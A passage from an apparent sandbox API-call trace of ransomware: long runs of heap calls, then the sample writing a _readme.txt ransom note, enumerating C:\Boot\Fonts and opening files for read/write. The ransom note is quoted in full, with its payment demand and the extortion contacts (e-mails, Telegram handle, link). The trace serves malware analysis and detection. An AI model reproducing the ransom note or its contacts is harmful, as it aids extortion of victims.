Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.866] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.868] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.868] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.868] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.868] PathFindFileNameW (pszPath="") returned="" [0124.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.868] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.869] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.869] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e8ae0 [0124.869] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.869] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0124.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.869] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.869] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.870] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.870] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.870] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.870] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.870] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0124.870] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.870] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, 